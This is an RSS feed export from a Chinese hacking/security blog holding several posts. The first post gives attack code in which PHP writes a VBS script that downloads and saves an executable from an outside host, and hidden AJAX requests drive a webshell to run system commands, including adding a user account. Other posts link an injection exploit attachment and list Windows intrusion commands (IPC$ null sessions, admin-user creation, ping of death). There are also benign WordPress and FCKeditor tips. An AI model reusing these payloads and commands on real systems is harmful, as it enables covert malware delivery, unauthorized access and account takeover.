<?xml version="1.0" encoding="utf-8"?>
<rss version="2.0">
	<channel>
		<title></title>
		<link>http://www.sablog.net/blog/category//</link>
		<description>人的头脑太复杂,时间过得久,有时候连自己也被自己骗了,记下来才是最真实的......</description>
		<copyright>Copyright (C) 2004 Security Angel Team [S4T] All Rights Reserved.</copyright>
		<generator>SaBlog-X Version 2.0 Build 20080716</generator>
		<lastBuildDate>Sat, 09 Aug 2008 05:08:02 +0000</lastBuildDate>
		<ttl>30</ttl>
		<item>
			<guid>http://www.sablog.net/blog/ajax-in-security/</guid>
			<title>AJAX在安全方面的应用</title>
			<author>angel</author>
			<description><![CDATA[4ngel's blog ( http://www.sablog.net/blog/ ) : <p>本来想给小黑群里的人开个玩笑。谁知道经过小黑的csrf实例后，大家都先看代码了。这下我明白了。小黑用过的招数都不能再用了。再用就不灵了。因为小黑太黑，让人印象深刻。</p>
<p>还是记录一下吧，ajax真的是隐秘性很高。我是这样来利用的。比较彻底。</p>
<div class="codeText">
<div class="codeHead">PHP代码</div>
<ol class="dp-c">
    <li class="alt"><span><span class="keyword">elseif</span><span>&nbsp;(</span><span class="vars">$doing</span><span>&nbsp;==&nbsp;</span><span class="string">'writevbs'</span><span>)&nbsp;{ &nbsp;&nbsp;</span></span></li>
    <li class=""><span>&nbsp;&nbsp;&nbsp;&nbsp;</span><span class="vars">$fp</span><span>&nbsp;=&nbsp;@</span><span class="func">fopen</span><span>(</span><span class="string">'c:/angel.vbs'</span><span>,</span><span class="string">'w'</span><span>); &nbsp;&nbsp;</span></li>
    <li class="alt"><span>&nbsp;&nbsp;&nbsp;&nbsp;</span><span class="vars">$vbs</span><span>&nbsp;=&nbsp;</span><span class="string">&quot;Set&nbsp;love&nbsp;=&nbsp;CreateObject(\&quot;Microsoft.XMLHTTP\&quot;)\n&quot;</span><span>. &nbsp;&nbsp;</span></li>
    <li class=""><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span class="string">&quot;love.Open&nbsp;\&quot;GET\&quot;,\&quot;http://www.4ngel.net/1.exe\&quot;,0\n&quot;</span><span>. &nbsp;&nbsp;</span></li>
    <li class="alt"><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span class="string">&quot;love.Send()\n&quot;</span><span>. &nbsp;&nbsp;</span></li>
    <li class=""><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span class="string">&quot;Set&nbsp;you&nbsp;=&nbsp;CreateObject(\&quot;ADODB.Stream\&quot;)\n&quot;</span><span>. &nbsp;&nbsp;</span></li>
    <li class="alt"><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span class="string">&quot;you.Mode&nbsp;=&nbsp;3\n&quot;</span><span>. &nbsp;&nbsp;</span></li>
    <li class=""><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span class="string">&quot;you.Type&nbsp;=&nbsp;1\n&quot;</span><span>. &nbsp;&nbsp;</span></li>
    <li class="alt"><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span class="string">&quot;you.Open()\n&quot;</span><span>. &nbsp;&nbsp;</span></li>
    <li class=""><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span class="string">&quot;you.Write(love.responseBody)\n&quot;</span><span>. &nbsp;&nbsp;</span></li>
    <li class="alt"><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span class="string">&quot;you.SaveToFile&nbsp;\&quot;c:\\1.exe\&quot;,2&quot;</span><span>; &nbsp;&nbsp;</span></li>
    <li class=""><span>&nbsp;&nbsp;&nbsp;&nbsp;@fwrite(</span><span class="vars">$fp</span><span>,</span><span class="vars">$vbs</span><span>); &nbsp;&nbsp;</span></li>
    <li class="alt"><span>&nbsp;&nbsp;&nbsp;&nbsp;@fclose(</span><span class="vars">$fp</span><span>); &nbsp;&nbsp;</span></li>
    <li class=""><span>}&nbsp;&nbsp;</span></li>
</ol>
</div>
<p>加了一段代码是生成一个VBS脚本。这段脚本的作用从4ngel.net上下载一个1.exe文件保存到他本地的1.exe，然后有一段是AJAX的功能代码。</p>
<div class="codeText">
<div class="codeHead">JavaScript代码</div>
<ol class="dp-c">
    <li class="alt"><span><span>&lt;script&nbsp;type=</span><span class="string">&quot;text/javascript&quot;</span><span>&gt; &nbsp;&nbsp;</span></span></li>
    <li class=""><span class="keyword">var</span><span>&nbsp;http_request&nbsp;=&nbsp;</span><span class="keyword">false</span><span>; &nbsp;&nbsp;</span></li>
    <li class="alt"><span class="keyword">function</span><span>&nbsp;makeRequest(url,&nbsp;httpType,&nbsp;sendData)&nbsp;{ &nbsp;&nbsp;</span></li>
    <li class=""><span>&nbsp;&nbsp;&nbsp;&nbsp;http_request&nbsp;=&nbsp;</span><span class="keyword">false</span><span>; &nbsp;&nbsp;</span></li>
    <li class="alt"><span>&nbsp;&nbsp;&nbsp;&nbsp;</span><span class="keyword">if</span><span>&nbsp;(!httpType)&nbsp;httpType&nbsp;=&nbsp;</span><span class="string">&quot;GET&quot;</span><span>; &nbsp;&nbsp;</span></li>
    <li class=""><span>&nbsp;&nbsp;</span></li>
    <li class="alt"><span>&nbsp;&nbsp;&nbsp;&nbsp;</span><span class="keyword">if</span><span>&nbsp;(window.XMLHttpRequest)&nbsp;{&nbsp;</span><span class="comment">//&nbsp;Non-IE... </span><span>&nbsp;&nbsp;</span></li>
    <li class=""><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;http_request&nbsp;=&nbsp;</span><span class="keyword">new</span><span>&nbsp;XMLHttpRequest(); &nbsp;&nbsp;</span></li>
    <li class="alt"><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span class="keyword">if</span><span>&nbsp;(http_request.overrideMimeType)&nbsp;{ &nbsp;&nbsp;</span></li>
    <li class=""><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;http_request.overrideMimeType(</span><span class="string">'text/plain'</span><span>); &nbsp;&nbsp;</span></li>
    <li class="alt"><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;} &nbsp;&nbsp;</span></li>
    <li class=""><span>&nbsp;&nbsp;&nbsp;&nbsp;}&nbsp;</span><span class="keyword">else</span><span>&nbsp;</span><span class="keyword">if</span><span>&nbsp;(window.ActiveXObject)&nbsp;{&nbsp;</span><span class="comment">//&nbsp;IE </span><span>&nbsp;&nbsp;</span></li>
    <li class="alt"><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span class="keyword">try</span><span>&nbsp;{ &nbsp;&nbsp;</span></li>
    <li class=""><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;http_request&nbsp;=&nbsp;</span><span class="keyword">new</span><span>&nbsp;ActiveXObject(</span><span class="string">&quot;Msxml2.XMLHTTP&quot;</span><span>); &nbsp;&nbsp;</span></li>
    <li class="alt"><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}&nbsp;</span><span class="keyword">catch</span><span>&nbsp;(e)&nbsp;{ &nbsp;&nbsp;</span></li>
    <li class=""><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span class="keyword">try</span><span>&nbsp;{ &nbsp;&nbsp;</span></li>
    <li class="alt"><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;http_request&nbsp;=&nbsp;</span><span class="keyword">new</span><span>&nbsp;ActiveXObject(</span><span class="string">&quot;Microsoft.XMLHTTP&quot;</span><span>); &nbsp;&nbsp;</span></li>
    <li class=""><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}&nbsp;</span><span class="keyword">catch</span><span>&nbsp;(e)&nbsp;{} &nbsp;&nbsp;</span></li>
    <li class="alt"><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;} &nbsp;&nbsp;</span></li>
    <li class=""><span>&nbsp;&nbsp;&nbsp;&nbsp;} &nbsp;&nbsp;</span></li>
    <li class="alt"><span>&nbsp;&nbsp;</span></li>
    <li class=""><span>&nbsp;&nbsp;&nbsp;&nbsp;</span><span class="keyword">if</span><span>&nbsp;(!http_request)&nbsp;{ &nbsp;&nbsp;</span></li>
    <li class="alt"><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;alert(</span><span class="string">'Cannot&nbsp;send&nbsp;an&nbsp;XMLHTTP&nbsp;request'</span><span>); &nbsp;&nbsp;</span></li>
    <li class=""><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span class="keyword">return</span><span>&nbsp;</span><span class="keyword">false</span><span>; &nbsp;&nbsp;</span></li>
    <li class="alt"><span>&nbsp;&nbsp;&nbsp;&nbsp;} &nbsp;&nbsp;</span></li>
    <li class=""><span>&nbsp;&nbsp;</span></li>
    <li class="alt"><span>&nbsp;&nbsp;&nbsp;&nbsp;http_request.open(httpType,&nbsp;url,&nbsp;</span><span class="keyword">true</span><span>); &nbsp;&nbsp;</span></li>
    <li class=""><span>&nbsp;&nbsp;&nbsp;&nbsp;http_request.setRequestHeader(</span><span class="string">'Content-Type'</span><span>,&nbsp;</span><span class="string">'application/x-www-form-urlencoded'</span><span>); &nbsp;&nbsp;</span></li>
    <li class="alt"><span>&nbsp;&nbsp;&nbsp;&nbsp;http_request.send(sendData); &nbsp;&nbsp;</span></li>
    <li class=""><span>} &nbsp;&nbsp;</span></li>
    <li class="alt"><span class="comment">//makeRequest('&lt;?=$self?&gt;',&nbsp;'POST',&nbsp;'action=file&amp;doing=writevbs'); </span><span>&nbsp;&nbsp;</span></li>
    <li class=""><span class="comment">//makeRequest('&lt;?=$self?&gt;',&nbsp;'POST',&nbsp;'action=shell&amp;execfunc=system&amp;command=c:\angel.vbs'); </span><span>&nbsp;&nbsp;</span></li>
    <li class="alt"><span class="comment">//makeRequest('&lt;?=$self?&gt;',&nbsp;'POST',&nbsp;'action=shell&amp;execfunc=system&amp;command=c:\1.exe'); </span><span>&nbsp;&nbsp;</span></li>
    <li class=""><span>makeRequest(</span><span class="string">'&lt;?=$self?&gt;'</span><span>,&nbsp;</span><span class="string">'POST'</span><span>,&nbsp;</span><span class="string">'action=shell&amp;execfunc=system&amp;command=net&nbsp;user&nbsp;angel&nbsp;angel&nbsp;/add'</span><span>); &nbsp;&nbsp;</span></li>
    <li class="alt"><span>makeRequest(</span><span class="string">'&lt;?=$self?&gt;'</span><span>,&nbsp;</span><span class="string">'POST'</span><span>,&nbsp;</span><span class="string">'action=shell&amp;execfunc=system&amp;command=echo&nbsp;my_name_is_angel&nbsp;&gt;&nbsp;c:\\angel.txt'</span><span>); &nbsp;&nbsp;</span></li>
    <li class=""><span>&lt;/script&gt;&nbsp;&nbsp;</span></li>
</ol>
</div>
<p>最后几句是以POST方式请求本地测试环境中的phpspy2008，调用命令执行功能，生成vbs，然后执行VBS。再执行下载的exe文件。不过我已经注释掉了。这样在本地测试是成功的。对待自己兄弟们不能这么心狠。所以就注释掉了。加了一个用户。</p>
<p>我只是想说。AJAX作为一个现在逐渐受到重视的技术，在强调增加用户体验的同时，带来的安全也是神不知鬼不觉的。因为他的请求。你根本察觉不到。更具体的应用还是要靠大家自己去领悟了。</p>]]></description>
			<link>http://www.sablog.net/blog/ajax-in-security/</link>
			<category domain="http://www.sablog.net/blog/category/technical/">技术相关</category>
			<pubDate>2007-12-23 17:08</pubDate>
		</item>
		<item>
			<guid>http://www.sablog.net/blog/archives/269/</guid>
			<title>对于WAP的一些测试和研究</title>
			<author>angel</author>
			<description><![CDATA[4ngel's blog ( http://www.sablog.net/blog/ ) : <p>最近有人和我反映WAP功能登陆久了容易超时、有时甚至登陆不了。我这里的手机和浏览器都正常，但是为了解决这些问题，只有深入研究一下。原来是采用session验证后台，前台使用cookie验证，开始以为是session有问题，所以全部使用cookie+数据库多重验证，结果问题依旧存在，然后使用session+数据库多重验证，还是存在问题。</p>
<p>然后我查了网上的资料研究了一整天。查到一些有用的资料。<br />讨论地址：<a target="_blank" href="http://topic.csdn.net/t/20040826/09/3310602.html">http://topic.csdn.net/t/20040826/09/3310602.html</a></p>
<p>结果发现有部分老的机器是不支持COOKIE的，然后我又下载了一些WAP浏览器来测试，结果发现，COOKIE的确没有保存。提示登陆成功，却没有COOKIE信息。说明不支持COOKIE，COOKIE是客户端的，而SESSION保存在服务器上，应该没有问题的吧，为了避免某些服务器SESSION设置不正常，我还特地指定了SESSION的保存目录。结果测试。我手中的智能手机，非常正常，还有两个WAP测试软件非常正常，而问朋友借的老款的，自带WAP浏览器的手机却不支持。登陆成功却没有读取到SESSION信息。然后用winwap4.0来测试，居然也读取不到SESSION信息。用OPERA也非常正常。记得以前BOB的掌上版是用SESSION纪录信息的，我下载来研究研究是怎么样的机制，结果没有想到，老款的手机和winwap，居然没有办法读取到SESSION信息。BOB的掌上版同样登陆成功后，由于SESSION读取失败，还是未登陆状态。同样，下载F2BLOG的WAP来测试。和BOB掌上版也一样的结果。</p>
<p>看来要达到通用，只有采用URL传递的方法，这样可以完全脱离COOKIE和SESSION，而直接采用数据库的方法，这样就可以保证无论在何种浏览器下，何种手机下，都可以正常使用的了。</p>
<p>Sablog-X 1.6版本不会包含WAP功能，而单独打包此功能。作为插件发布。而有空，我要和Bo-blog的作者BOB和F2blog的开发团队交流交流。统一一下插件的接口标准。和模块。争取一些简单的不设计数据库操作的插件，可以在三个程序上达到通用的目的。</p>
<p>PS：刚才还想看看几个论坛的WAP功能，是否有问题，结果发现PHPWIND的WAP功能，是采用COOKIE验证，所以老款手机和winwap都无法读取COOKIE信息，登陆成功了还是未登陆状态。而Discuz和Molyx则采用URL传递参数的办法，所以在任何环境下，WAP功能都非常正常。</p>]]></description>
			<link>http://www.sablog.net/blog/archives/269/</link>
			<category domain="http://www.sablog.net/blog/category/technical/">技术相关</category>
			<pubDate>2007-05-10 04:35</pubDate>
		</item>
		<item>
			<guid>http://www.sablog.net/blog/archives/243/</guid>
			<title>Wordpress物理路径暴露漏洞</title>
			<author>angel</author>
			<description><![CDATA[4ngel's blog ( http://www.sablog.net/blog/ ) : <p><strong>wordpress 2.1.2 以及之前的版本</strong></p>
<p>今天看了看wordpress模板的机制，发现存在了漏洞。大家可以认为这个漏洞不要紧。但是配合其他漏洞可以拿下WEB空间。权限允许可以拿下主机。</p>
<p>好久没有写漏洞的文章了，忘记格式了，呵呵，随便写写。</p>
<p>wordpress的模板文件，缺少访问验证，直接访问模板里的文件，就会泄露物理路径。这个不是PHP漏洞，是WordPress的漏洞。</p>
<p>比如访问:<a href="http://hostname/wordpress/wp-content/themes/default">http://hostname/wordpress/wp-content/themes/default</a></p>
<p>就会显示:</p>
<p><strong>Fatal error</strong>: Unknown function: get_header() in <strong>/home/public_html/yz/wp-content/themes/default/index.php</strong> on line <strong>1</strong></p>
<p><strong></strong></p>
<p><strong>解决办法</strong></p>
<p>在模板里的文件头部加上以下代码，可以防止泄露路径。</p>
<p><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #007700">&lt;?</span><span style="color: #0000BB">php<br /></span><span style="color: #007700">if(!</span><span style="color: #0000BB">defined</span><span style="color: #007700">(</span><span style="color: #DD0000">'WP_USE_THEMES'</span><span style="color: #007700">))&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;exit(</span><span style="color: #DD0000">'Access&nbsp;Denied'</span><span style="color: #007700">);<br />}<br /></span><span style="color: #0000BB">?&gt;</span></span>
</code></p>]]></description>
			<link>http://www.sablog.net/blog/archives/243/</link>
			<category domain="http://www.sablog.net/blog/category/technical/">技术相关</category>
			<pubDate>2007-03-25 23:34</pubDate>
		</item>
		<item>
			<guid>http://www.sablog.net/blog/archives/235/</guid>
			<title>让FCKeditor插入的图片自动缩小</title>
			<author>angel</author>
			<description><![CDATA[4ngel's blog ( http://www.sablog.net/blog/ ) : <p>这些终于解决把模板撑大的问题了。</p>
<p><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #007700">&lt;</span><span style="color: #0000BB">script&nbsp;language</span><span style="color: #007700">=</span><span style="color: #DD0000">"JavaScript"</span><span style="color: #007700">&gt;<br />&lt;!--<br /></span><span style="color: #0000BB">window</span><span style="color: #007700">.</span><span style="color: #0000BB">onload</span><span style="color: #007700">=</span><span style="color: #0000BB">fiximage</span><span style="color: #007700">;<br />function&nbsp;</span><span style="color: #0000BB">fiximage</span><span style="color: #007700">()&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;var&nbsp;</span><span style="color: #0000BB">max</span><span style="color: #007700">=</span><span style="color: #0000BB">600</span><span style="color: #007700">;<br />&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">imgs&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">document</span><span style="color: #007700">.</span><span style="color: #0000BB">getElementsByTagName</span><span style="color: #007700">(</span><span style="color: #DD0000">'img'</span><span style="color: #007700">);<br />&nbsp;&nbsp;&nbsp;&nbsp;for(</span><span style="color: #0000BB">i</span><span style="color: #007700">=</span><span style="color: #0000BB">0</span><span style="color: #007700">;</span><span style="color: #0000BB">i</span><span style="color: #007700">&lt;</span><span style="color: #0000BB">imgs</span><span style="color: #007700">.</span><span style="color: #0000BB">length</span><span style="color: #007700">;</span><span style="color: #0000BB">i</span><span style="color: #007700">++)&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">w</span><span style="color: #007700">=</span><span style="color: #0000BB">imgs</span><span style="color: #007700">[</span><span style="color: #0000BB">i</span><span style="color: #007700">].</span><span style="color: #0000BB">width</span><span style="color: #007700">;</span><span style="color: #0000BB">h</span><span style="color: #007700">=</span><span style="color: #0000BB">imgs</span><span style="color: #007700">[</span><span style="color: #0000BB">i</span><span style="color: #007700">].</span><span style="color: #0000BB">height</span><span style="color: #007700">;<br />&nbsp;&nbsp;&nbsp;&nbsp;if(</span><span style="color: #0000BB">w</span><span style="color: #007700">&gt;</span><span style="color: #0000BB">max</span><span style="color: #007700">)&nbsp;{&nbsp;</span><span style="color: #0000BB">imgs</span><span style="color: #007700">[</span><span style="color: #0000BB">i</span><span style="color: #007700">].</span><span style="color: #0000BB">width</span><span style="color: #007700">=</span><span style="color: #0000BB">max</span><span style="color: #007700">;</span><span style="color: #0000BB">imgs</span><span style="color: #007700">[</span><span style="color: #0000BB">i</span><span style="color: #007700">].</span><span style="color: #0000BB">height</span><span style="color: #007700">=</span><span style="color: #0000BB">h</span><span style="color: #007700">/(</span><span style="color: #0000BB">w</span><span style="color: #007700">/</span><span style="color: #0000BB">max</span><span style="color: #007700">);}<br />&nbsp;&nbsp;&nbsp;&nbsp;}<br />}<br /></span><span style="color: #FF8000">//--&gt;<br /></span><span style="color: #0000BB">&lt;/script&gt;</span></span>
</code></p>]]></description>
			<link>http://www.sablog.net/blog/archives/235/</link>
			<category domain="http://www.sablog.net/blog/category/technical/">技术相关</category>
			<pubDate>2007-02-22 09:28</pubDate>
		</item>
		<item>
			<guid>http://www.sablog.net/blog/archives/225/</guid>
			<title>Discuz5安全漏洞——算不算呢？</title>
			<author>angel</author>
			<description><![CDATA[4ngel's blog ( http://www.sablog.net/blog/ ) : <p>topicadmin.php文件中的下面代码中，一看就是$accessadd1、$accessadd2这两个变量没有初始化。有可能引发SQL注射攻击。但实际我也没有时间和精力去测试。毕竟如果可以利用的话，要有一定权限哦。有兴趣的朋友可以自己看看。</p>
<p><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #007700">if(</span><span style="color: #0000BB">$adminid&nbsp;</span><span style="color: #007700">==&nbsp;</span><span style="color: #0000BB">3</span><span style="color: #007700">)&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;if(</span><span style="color: #0000BB">$accessmasks</span><span style="color: #007700">)&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">$accessadd1&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #DD0000">',&nbsp;a.allowview,&nbsp;a.allowpost,&nbsp;a.allowreply,&nbsp;a.allowgetattach,&nbsp;a.allowpostattach'</span><span style="color: #007700">;<br />&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">$accessadd2&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #DD0000">"LEFT&nbsp;JOIN&nbsp;{$tablepre}access&nbsp;a&nbsp;ON&nbsp;a.uid='$discuz_uid'&nbsp;AND&nbsp;a.fid='$moveto'"</span><span style="color: #007700">;<br />&nbsp;&nbsp;&nbsp;&nbsp;}<br />&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">$query&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">$db</span><span style="color: #007700">-&gt;</span><span style="color: #0000BB">query</span><span style="color: #007700">(</span><span style="color: #DD0000">"SELECT&nbsp;ff.postperm,&nbsp;m.uid&nbsp;AS&nbsp;istargetmod&nbsp;$accessadd1<br />&nbsp;&nbsp;&nbsp;&nbsp;FROM&nbsp;{$tablepre}forumfields&nbsp;ff<br />&nbsp;&nbsp;&nbsp;&nbsp;$accessadd2<br />&nbsp;&nbsp;&nbsp;&nbsp;LEFT&nbsp;JOIN&nbsp;{$tablepre}moderators&nbsp;m&nbsp;ON&nbsp;m.fid='$moveto'&nbsp;AND&nbsp;m.uid='$discuz_uid'<br />&nbsp;&nbsp;&nbsp;&nbsp;WHERE&nbsp;ff.fid='$moveto'"</span><span style="color: #007700">);<br />&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">$priv&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">$db</span><span style="color: #007700">-&gt;</span><span style="color: #0000BB">fetch_array</span><span style="color: #007700">(</span><span style="color: #0000BB">$query</span><span style="color: #007700">);<br />&nbsp;&nbsp;&nbsp;&nbsp;if(((</span><span style="color: #0000BB">$priv</span><span style="color: #007700">[</span><span style="color: #DD0000">'postperm'</span><span style="color: #007700">]&nbsp;&amp;&amp;&nbsp;!</span><span style="color: #0000BB">in_array</span><span style="color: #007700">(</span><span style="color: #0000BB">$groupid</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">explode</span><span style="color: #007700">(</span><span style="color: #DD0000">"\t"</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">$priv</span><span style="color: #007700">[</span><span style="color: #DD0000">'postperm'</span><span style="color: #007700">])))&nbsp;||&nbsp;(</span><span style="color: #0000BB">$accessmasks&nbsp;</span><span style="color: #007700">&amp;&amp;&nbsp;(</span><span style="color: #0000BB">$priv</span><span style="color: #007700">[</span><span style="color: #DD0000">'allowview'</span><span style="color: #007700">]&nbsp;||&nbsp;</span><span style="color: #0000BB">$priv</span><span style="color: #007700">[</span><span style="color: #DD0000">'allowreply'</span><span style="color: #007700">]&nbsp;||&nbsp;</span><span style="color: #0000BB">$priv</span><span style="color: #007700">[</span><span style="color: #DD0000">'allowgetattach'</span><span style="color: #007700">]&nbsp;||&nbsp;</span><span style="color: #0000BB">$priv</span><span style="color: #007700">[</span><span style="color: #DD0000">'allowpostattach'</span><span style="color: #007700">])&nbsp;&amp;&amp;&nbsp;!</span><span style="color: #0000BB">$priv</span><span style="color: #007700">[</span><span style="color: #DD0000">'allowpost'</span><span style="color: #007700">]))&nbsp;&amp;&amp;&nbsp;!</span><span style="color: #0000BB">$priv</span><span style="color: #007700">[</span><span style="color: #DD0000">'istargetmod'</span><span style="color: #007700">])&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">showmessage</span><span style="color: #007700">(</span><span style="color: #DD0000">'admin_copy_nopermission'</span><span style="color: #007700">);<br />&nbsp;&nbsp;&nbsp;&nbsp;}<br />}</span><span style="color: #0000BB"></span>
</span>
</code></p>]]></description>
			<link>http://www.sablog.net/blog/archives/225/</link>
			<category domain="http://www.sablog.net/blog/category/technical/">技术相关</category>
			<pubDate>2006-12-23 15:49</pubDate>
		</item>
		<item>
			<guid>http://www.sablog.net/blog/x-forwarded-for/</guid>
			<title>X-Forwarded-For闹出好多漏洞哦</title>
			<author>angel</author>
			<description><![CDATA[4ngel's blog ( http://www.sablog.net/blog/ ) : <p>几个月以前，X-Forwarded-For可以伪造的时候，就滋生了SAX的漏洞。可以注入哦。很严重哦。</p>
<p>1.1 build 20060611的版本就存在漏洞。因为我当时也懒，也忙，想着反正没有利用工具，没多少人会伪造。现在工具出来了，我还是和大家说对不起。这么晚才放出新版本。</p>
<p>相信很多程序都会用到X-Forwarded-For来获取IP信息。而且要么对数据库读写，要么对文件读写。所以注入漏洞、写文件漏洞到处是。如果自己写程序的朋友。还是看看有没有过滤疏忽的地方。</p>
<p>附件为通用型Exp，会构造语句的就很容易用啦。</p><br /><br /><b>附件: </b><a href="http://www.sablog.net/blog/attachment.php?id=239" target="_blank">cmd.php</a> (3 K, 下载次数:931)]]></description>
			<link>http://www.sablog.net/blog/x-forwarded-for/</link>
			<category domain="http://www.sablog.net/blog/category/technical/">技术相关</category>
			<pubDate>2006-12-10 14:34</pubDate>
		</item>
		<item>
			<guid>http://www.sablog.net/blog/archives/178/</guid>
			<title>DOS入侵命令全集</title>
			<author>angel</author>
			<description><![CDATA[4ngel's blog ( http://www.sablog.net/blog/ ) : <p>net use <a href="file://\\ip\ipc$">\\ip\ipc$</a> &quot; &quot; /user:&quot; &quot; 建立IPC空链接 <br />net use <a href="file://\\ip\ipc$">\\ip\ipc$</a> &quot;密码&quot; /user:&quot;用户名&quot; 建立IPC非空链接 <br />net use h: <a href="file://\\ip\c$">\\ip\c$</a> &quot;密码&quot; /user:&quot;用户名&quot; 直接登陆后映射对方C：到本地为H: <br />net use h: <a href="file://\\ip\c$">\\ip\c$</a> 登陆后映射对方C：到本地为H: <br />net use <a href="file://\\ip\ipc$">\\ip\ipc$</a> /del 删除IPC链接 <br />net use h: /del 删除映射对方到本地的为H:的映射 <br />net user 用户名　密码　/add 建立用户 <br />net user guest /active:yes 激活guest用户 <br />net user 查看有哪些用户 <br />net user 帐户名 查看帐户的属性 <br />net localgroup administrators 用户名 /add 把&ldquo;用户&rdquo;添加到管理员中使其具有管理员权限,注意：administrator后加s用复数 <br />net start 查看开启了哪些服务 <br />net start 服务名　 开启服务；(如:net start telnet， net start schedule) <br />net stop 服务名 停止某服务 <br />net time \\目标ip 查看对方时间 <br />net time \\目标ip /set 设置本地计算机时间与&ldquo;目标IP&rdquo;主机的时间同步,加上参数/yes可取消确认信息 <br />net view 查看本地局域网内开启了哪些共享 <br />net view <a href="file://\\ip">\\ip</a> 查看对方局域网内开启了哪些共享 <br />net config 显示系统网络设置 <br />net logoff 断开连接的共享 <br />net pause 服务名 暂停某服务 <br />net send ip &quot;文本信息&quot; 向对方发信息 <br />net ver 局域网内正在使用的网络连接类型和信息 <br />net share 查看本地开启的共享 <br />net share ipc$ 开启ipc$共享 <br />net share ipc$ /del 删除ipc$共享 <br />net share c$ /del 删除C：共享 <br />net user guest 12345 用guest用户登陆后用将密码改为12345 <br />net password 密码 更改系统登陆密码 <br />netstat -a 查看开启了哪些端口,常用netstat -an <br />netstat -n 查看端口的网络连接情况，常用netstat -an <br />netstat -v 查看正在进行的工作 <br />netstat -p 协议名 例：netstat -p tcq/ip 查看某协议使用情况（查看tcp/ip协议使用情况） <br />netstat -s 查看正在使用的所有协议使用情况 <br />nbtstat -A ip 对方136到139其中一个端口开了的话，就可查看对方最近登陆的用户名（03前的为用户名）-注意：参数-A要大写 <br />tracert -参数 ip(或计算机名) 跟踪路由（数据包），参数：&ldquo;-w数字&rdquo;用于设置超时间隔。 <br />ping ip(或域名) 向对方主机发送默认大小为32字节的数据，参数：&ldquo;-l[空格]数据包大小&rdquo;；&ldquo;-n发送数据次数&rdquo;；&ldquo;-t&rdquo;指一直ping。 <br />ping -t -l 65550 ip 死亡之ping(发送大于64K的文件并一直ping就成了死亡之ping) <br />ipconfig (winipcfg) 用于windows NT及XP(windows 95 98)查看本地ip地址，ipconfig可用参数&ldquo;/all&rdquo;显示全部配置信息 <br />tlist -t 以树行列表显示进程(为系统的附加工具，默认是没有安装的，在安装目录的Support/tools文件夹内) <br />kill -F 进程名 加-F参数后强制结束某进程(为系统的附加工具，默认是没有安装的，在安装目录的Support/tools文件夹内) <br />del -F 文件名 加-F参数后就可删除只读文件,/AR、/AH、/AS、/AA分别表示删除只读、隐藏、系统、存档文件，/A-R、/A-H、/A-S、/A-A表示删除除只读、隐藏、系统、存档以外的文件。例如&ldquo;DEL/AR *.*&rdquo;表示删除当前目录下所有只读文件，&ldquo;DEL/A-S *.*&rdquo;表示删除当前目录下除系统文件以外的所有文件</p>
<p>#2 二：</p>
